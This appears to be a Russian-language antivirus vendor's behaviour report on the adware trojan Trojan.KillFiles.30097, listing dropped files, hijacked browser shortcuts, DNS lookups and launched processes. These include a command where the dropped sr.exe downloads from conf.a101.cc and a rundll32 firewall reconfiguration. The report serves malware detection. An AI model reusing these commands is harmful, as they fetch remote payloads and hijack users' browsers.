Trojan.KillFiles.30097

Техническая информация

Вредоносные функции

Запускает на исполнение

'%ProgramFiles(x86)%\internet explorer\iexplore.exe' http://123.shipinbus.com/u.php?id=89

Изменения в файловой системе

Создает следующие файлы

%TEMP%\nsv69ea.tmp\system.dll
%HOMEPATH%\desktop\intrenet. expleror.lnk
%LOCALAPPDATA%\google\chrome\user data\default\preferences1
%APPDATA%\mozilla\firefox\profiles_.ini
%ALLUSERSPROFILE%\microsoft\windows\start menu\programs\快捷导航\打折网购.lnk
%ALLUSERSPROFILE%\microsoft\windows\start menu\programs\快捷导航\网址导航.lnk
C:\users\public\desktop\打折网购.lnk
C:\users\public\desktop\网址导航.lnk
%TEMP%\nsv69ea.tmp\nstools.dll
%APPDATA%\microsoft\internet explorer\quick launch\user pinned\taskbar\网址导航.lnk
%ALLUSERSPROFILE%\baidu\baiduplayer\bdsecushr.dat
%TEMP%\nsaf93d.tmp
%TEMP%\nsqf94e.tmp\system.dll
%ProgramFiles(x86)%\tools\baidup2pservice.exe
%ProgramFiles(x86)%\tools\p2pbase.dll
%ProgramFiles(x86)%\tools\p2pstatreport.dll
%ProgramFiles(x86)%\tools\p2sbase.dll
%ProgramFiles(x86)%\tools\sr.exe
%TEMP%\nsqf94e.tmp\nstools.dll
%HOMEPATH%\favorites\links\全国最给力充值店-淘宝网.url
%APPDATA%\microsoft\internet explorer\quick launch\user pinned\taskbar\打折网购.lnk
%HOMEPATH%\favorites\全国最给力充值店-淘宝网.url
%ALLUSERSPROFILE%\tools\ie8.ico
%ProgramFiles(x86)%\xfplay\tools.exe
%ProgramFiles(x86)%\xfplay\xianfengupdate.exe
%ProgramFiles(x86)%\xfplay\xianfeng.exe
%ProgramFiles(x86)%\xfplay\xianfengkunbang.exe
%ALLUSERSPROFILE%\tools\daohang.ico
%ALLUSERSPROFILE%\tools\daohang_.ico
%ALLUSERSPROFILE%\tools\ie10.ico
%ALLUSERSPROFILE%\tools\ie6.ico
%ALLUSERSPROFILE%\tools\sougou_search.ico
%TEMP%\nskbb06.tmp\nstools.dll
%ALLUSERSPROFILE%\tools\taobao.ico
%ProgramFiles(x86)%\xfplay\bdupdate.exe
%TEMP%\nsk6d05.tmp
%TEMP%\nsa6d16.tmp\system.dll
%TEMP%\nsa6d16.tmp\iospecial.ini
%TEMP%\nsa6d16.tmp\modern-wizard.bmp
%TEMP%\nsfbaf6.tmp
%TEMP%\nskbb06.tmp\system.dll
%ALLUSERSPROFILE%\tools\bdmanager.dll
%LOCALAPPDATA%low\baidu\baiduplayer\p2pcfg.ini

Удаляет следующие файлы

%TEMP%\nskbb06.tmp\nstools.dll
%TEMP%\nskbb06.tmp\system.dll
%TEMP%\nsv69ea.tmp\nstools.dll
%TEMP%\nsv69ea.tmp\system.dll
%TEMP%\nsqf94e.tmp\nstools.dll
%TEMP%\nsqf94e.tmp\system.dll

Изменяет следующие файлы

%APPDATA%\microsoft\internet explorer\quick launch\user pinned\taskbar\internet explorer.lnk
%HOMEPATH%\desktop\google chrome.lnk
%APPDATA%\microsoft\internet explorer\quick launch\user pinned\taskbar\google chrome.lnk
%LOCALAPPDATA%\google\chrome\user data\default\preferences1
C:\users\public\desktop\firefox.lnk
%APPDATA%\microsoft\internet explorer\quick launch\user pinned\taskbar\firefox.lnk

Сетевая активность

UDP

DNS ASK 12#.##ipinbus.com
DNS ASK co##.a101.cc
DNS ASK st##.#2sp.baidu.com
DNS ASK cm###.#2sp.baidu.com
DNS ASK me###.#2sp.baidu.com
DNS ASK ac#.##sp.baidu.com
'255.255.255.255':2654

Другое

Ищет следующие окна

ClassName: '#32770' WindowName: ''
ClassName: '' WindowName: '51Logon_DebugLog'
ClassName: 'Static' WindowName: ''
ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebCheckMonitor' WindowName: ''

Создает и запускает на исполнение

'%ProgramFiles(x86)%\xfplay\xianfeng.exe'
'%ProgramFiles(x86)%\xfplay\xianfengupdate.exe'
'%ProgramFiles(x86)%\xfplay\xianfengkunbang.exe'
'%ProgramFiles(x86)%\tools\baidup2pservice.exe' init
'%ProgramFiles(x86)%\tools\sr.exe' "http://conf.a101.cc/tool/install.txt" "%ALLUSERSPROFILE%\Baidu\BaiduPlayer\
'%ProgramFiles(x86)%\tools\baidup2pservice.exe'

Запускает на исполнение

'<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "%ProgramFiles(x86)%\tools\baidup...